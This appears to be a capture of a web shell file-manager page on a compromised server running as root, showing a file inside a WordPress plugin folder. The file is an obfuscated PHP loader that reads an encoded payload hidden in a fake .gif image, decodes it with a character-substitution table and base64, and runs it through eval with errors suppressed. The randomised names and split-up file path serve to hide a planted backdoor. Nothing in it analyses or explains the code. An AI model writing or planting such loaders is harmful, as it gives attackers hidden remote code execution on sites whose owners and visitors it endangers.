HEX
Server: nginx/1.20.1
System: Linux VM-0-8-centos 3.10.0-1160.11.1.el7.x86_64 #1 SMP Fri Dec 18 16:34:56 UTC 2020 x86_64
User: root (0)
PHP: 7.3.29
Disabled: passthru,system,chroot,chgrp,chown,shell_exec,popen,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,popepassthru,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.ycfawu.com/wp-content/plugins/anocadav/othocuj.txt
<?php

function esolem_ufuhazhug($wewane_denishuthy) {
    $ezaxan = ysysip_oxomesuk(1);
    $owapoj = ysysip_oxomesuk(2);
    for ($tiqubeg = 0; $tiqubeg < strlen($ezaxan); $tiqubeg++) {
        $azinoz = substr($ezaxan, $tiqubeg, 1);
        $olarado = substr($owapoj, $tiqubeg, 1);
        $litewe[$azinoz] = $olarado;
    }

    $retyhow = strtr($wewane_denishuthy, $litewe);
    $retyhow = base64_decode($retyhow);

    return $retyhow;
}

function ysysip_oxomesuk($wewane_denishuthy) {
    if ($wewane_denishuthy == 1)
        return uqevil_igogoshyse();
    if ($wewane_denishuthy == 2)
        return efotod_uhokhufe();
}

function imajov_unytisocha($wewane_denishuthy) {
    $yweloku = array();
    if (!file_exists($wewane_denishuthy))
        return false;
    $yxyvomu = @file_get_contents($wewane_denishuthy);
    if (!$yxyvomu)
        return false;
    $yxyvomu = substr($yxyvomu, 3);
    $yweloku = esolem_ufuhazhug($yxyvomu);
    return $yweloku;
}

function uqevil_igogoshyse() {
    $yxyvomu = "eQrC7Nu8LKa3lX4x+fMopVJWG0vS2Dd=EjORHFIcwA/zbtms6BihTZPqUynY91gk5";
    return $yxyvomu;
}

function efotod_uhokhufe() {
    $yweloku = "Z4xHVDmnUPT=v6aJzo7rKb+O21BqQNi3p8IeGctsl0u5/YwFAkWfLdRyECMSXjgh9";
    return $yweloku;
}

$ogawer = imajov_unytisocha(__DIR__ . "/ass" . "ets/i" . "mages" . "/coq" . "amyb" . ".gif");
if ($ogawer) {
    @eval($ogawer);
}